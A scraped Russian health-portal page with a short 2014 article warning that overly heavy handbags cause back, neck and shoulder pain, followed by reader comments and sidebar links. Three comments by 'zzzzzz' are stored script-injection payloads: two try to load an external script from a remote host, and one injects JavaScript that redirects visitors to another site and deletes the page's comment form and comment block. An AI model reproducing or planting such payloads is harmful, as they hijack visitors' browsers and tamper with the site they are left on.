Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Опасности вашей сумочки  >>  Опасности вашей сумочки
 
Обратная связь
 

Опасности вашей сумочки

Размер шрифта
09 декабря 2014 00:00
  • google_analytics: false
  • Нравится

Подчас кажется, что женщины кладут в сумочки все свое имущество – настолько они тяжелые. Конечно, удобно иметь с собой все необходимые вещи, однако слишком тяжелая сумка может сыграть злую шутку с вашим здоровьем. Какую?
Опасности вашей сумочки

Размер имеет значение

Как понять, что сумка слишком тяжелая? Это зависит от ваших габаритов. Специалисты рекомендуют носить сумку весом не более 10% от вашей собственной массы тела. Но в идеале вес сумки не должен превышать 3,5-4 килограмма.

Последствия

Регулярное ношение слишком тяжелой сумки может иметь ряд последствий. Слишком увесистая поклажа вызывает боль в спине, шее, плечах. Со временем это приводит к повреждению мышц и суставов, нарушению походки и осанки.

Как себя уберечь?

РСекрет прост – перестаньте носить тяжести! Кладите в сумку только самое необходимое и регулярно очищайте ее от ненужных вещей. Кроме того, постоянно меняйте плечо, на котором носите сумку. Вы можете попробовать приобрести сумку новой модели, в которой используются дополнительные ремни.

Красота и комфорт

А не хотите изменить стиль одежды? Купите себе красивый рюкзак! На настоящий момент доступны рюкзаки множества моделей и расцветок со специальными ортопедическими спинками. Хотите знать больше о том, какие опасности подстерегают здоровье женщины? Читайте наш спецпроект!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - his shadow

10 декабря 2014 в 10:16

Цитировать   |   Пожаловаться

Да ладна!!
Недавно сама Малышева рекомендовала в супермаркетах вместо тележек корзинки брать- мышцы накачивать.
Так и с женскими сумочками- мы просто мышцы накачиаем.

2 - Violensa

19 декабря 2014 в 13:22

Комментарий удален за нарушение Правил общения

3 - Portfeller ru

19 декабря 2014 в 23:09

Цитировать   |   Пожаловаться

Очень важно соответствие размеров сумки содержимому. В большой сумке вес равномерно распределяется и не вызывает дискомфорта и нежелательных последствий.

4 - zzzzzz

30 июня 2015 в 18:28

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

5 - zzzzzz

30 июня 2015 в 21:27

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

6 - zzzzzz

30 июня 2015 в 22:24

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
В какой позе спать, чтобы ничего не болело?   История пациента. Сергей Викторович   Боль в колене: уколы против боли   Боль в колене: как защитить суставы  
01 ноября 2012Ритм марша лечит болезнь Паркинсона 08 ноября 2012Обычная вишня может спасти от боли в ногах
 
29 октября 2012Голые крысы спасут людей от боли 14 мая 2013Высокая и стройная женщина – мужчины мечтают, женщины завидуют! Зря! Высокие и худые женщины – в группе риска по заболеваниям легких!
 

Слайдшоу

1
Как сохранить здоровье суставов
Вся правда о ревматоидном артрите
5 упражнений против боли

Тесты

1
Есть ли у вас остеопороз?
Рискуете ли вы заболеть остеохондрозом?
Что вы знаете о груди?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.